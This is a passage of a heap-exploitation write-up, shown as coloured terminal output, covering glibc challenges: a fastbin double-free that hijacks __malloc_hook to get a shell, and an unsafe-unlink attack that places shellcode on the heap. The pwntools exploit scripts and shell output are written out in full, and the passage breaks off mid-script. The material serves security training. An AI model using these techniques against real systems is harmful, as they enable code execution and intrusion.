[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mone_gadget[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m0xe1fa1[0m[1m[37m[0m
[1m[37m[0m
[33m# 0x80 freelist: NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"B"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x60[0m[1m[37m))[0m[1m[37m [0m[33m# chunk C[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> 0x60[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"D"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> 0x60[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"E"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: 0x60[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"F"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"G"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m5[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk F] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m6[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk G] -> [chunk F] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m5[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk F] -> [chunk G] -> [chunk F] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mmain_arena[0m[1m[36m+[0m[1m[36m8[0m[1m[37m))[0m[1m[37m [0m[33m# chunk H[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk F] -> [chunk G] -> &main_arena[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"-s[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m [0m[33m# chunk I, lives at rsp+0x50 when __malloc_hook is executed[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk G] -> &main_arena[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"J"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: &main_arena[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m0x48[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__malloc_hook[0m[1m[36m-[0m[1m[36m0x1c[0m[1m[36m-[0m[1m[36m8[0m[1m[37m))[0m[1m[37m[0m
[33m# main_arena.top_chunk = &__malloc_hook-0x10[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x80[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"L"[0m[1m[36m*[0m[1m[36m20[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mone_gadget[0m[1m[37m))[0m[1m[37m [0m[33m# chunk L[0m[1m[37m[0m
[33m# __malloc_hook = &one_gadget[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x2d[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m""[0m[1m[37m)[0m[1m[37m [0m[33m# chunk M[0m[1m[37m[0m
[33m# __malloc_hook triggered[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mUnsafe unlink[22m[24m
When a "normal" chunk is freed, it is added to the unsortedbin
doubly linked list; this behaves very similarly to the fastbins,
except there's now an additional [40m[35m`bk`[39m[49m pointer
stored after the [40m[35m`fd`[39m[49m pointer.
But having a bunch of randomly sized chunks in a freelist is not
really ideal, as we'd like to be able to reclaim these chunks and
use them for even larger allocations.
Enter chunk consolidation—when a chunk is freed, malloc will check
if the chunk's neighboring chunks are also freed, in which case
malloc will backwards and/or forwards consolidate the chunks into a
single larger chunk.
But a freed chunk is still inside the unsortedbin we talked about
earlier, so before this consolidation can occur malloc has to
unlink one or more nodes from the unsortedbin linked list (as the
chunk being freed is merged with one or both of its neighboring
chunks).
In older versions of Glibc this linked list unlinking was not
performed safely, so by corrupting heap chunks one could leverage
this chunk consolidation for a (somewhat constrained) reflected
write.[^fn:2]
=== [1m[4mSolve[22m[24m
In this challenge we can write 8 bytes past the end of our
requested size, which we can use to corrupt the next chunk's size
field [4mand flags[24m.
By clearing chunk B's [40m[35m`prev_inuse`[39m[49m flag, we can
convince malloc that the chunk before chunk B (chunk A) is freed
for the purposes of chunk consolidation when chunk B is freed.
When we free chunk B, malloc will attempt to unlink chunk A from
the unsortedbin freelist by setting [40m`chunk_a.bk->fd =
chunk_a.fd`[49m[24m and [40m`chunk_a.fd->bk =
chunk_a.bk`[49m[24m (using temporary variables where
appropriate):
[33m#define unlink(AV, P, BK, FD) {\[0m
[33m FD = P->fd;\[0m
[33m BK = P->bk;\[0m
[33m FD->bk = BK;\[0m
[33m BK->fd = FD;\[0m
[33m if (!in_smallbin_range (P->size)\[0m
[33m && __builtin_expect (P->fd_nextsize != NULL, 0)) {\[0m
[33m if (FD->fd_nextsize == NULL) {\[0m
[33m if (P->fd_nextsize == P)\[0m
[33m FD->fd_nextsize = FD->bk_nextsize = FD;\[0m
[33m else {\[0m
[33m FD->fd_nextsize = P->fd_nextsize;\[0m
[33m FD->bk_nextsize = P->bk_nextsize;\[0m
[33m P->fd_nextsize->bk_nextsize = FD;\[0m
[33m P->bk_nextsize->fd_nextsize = FD;\[0m
[33m }\[0m
[33m } else {\[0m
[33m P->fd_nextsize->bk_nextsize = P->bk_nextsize;\[0m
[33m P->bk_nextsize->fd_nextsize = P->fd_nextsize;\[0m
[33m }\[0m
[33m }\[0m
[33m}[0m
With that in mind the exploit is pretty straightforward.
Unfortunately I can't use the OG method of writing shellcode on the
heap because in QEMU/Rosetta the heap isn't marked executable (even
though the stack is—weird), and we can't use a one_gadget because
Glibc [40m`.text`[49m isn't writable:
[1m[37m[*] './unsafe_unlink'[0m
[1m[37m Arch: amd64-64-little[0m
[1m[37m RELRO: Full RELRO[0m
[1m[37m Stack: Canary found[0m
[1m[37m NX: NX unknown - GNU_STACK missing[0m
[1m[37m PIE: PIE enabled[0m
[1m[37m Stack: Executable[0m
[1m[37m RWX: Has RWX segments[0m
[1m[37m RUNPATH: b'../.glibc/glibc_2.23_unsafe-unlink'[0m
[1m[37m Stripped: No[0m
[1m[37m Debuginfo: Yes[0m
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"unsafe_unlink"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mindex[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mshellcode[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[1m[37masm[0m[1m[37m([0m[33m"jmp .+18"[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37masm[0m[1m[37m([0m[1m[37mshellcraft[0m[1m[36m.[0m[1m[37mamd64[0m[1m[36m.[0m[1m[37mlinux[0m[1m[36m.[0m[1m[37msh[0m[1m[37m())[0m[1m[37m[0m
[1m[37m)[0m[1m[37m[0m
[33m# start of the heap plus the size, fd, and bk fields of chunk A[0m[1m[37m[0m
[1m[37mshellcode_addr[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mheap[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x3f0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk A[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x3f0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk B[0m[1m[37m[0m
gopher.feyor.sh:70 /writeups/heaplab:537: line too long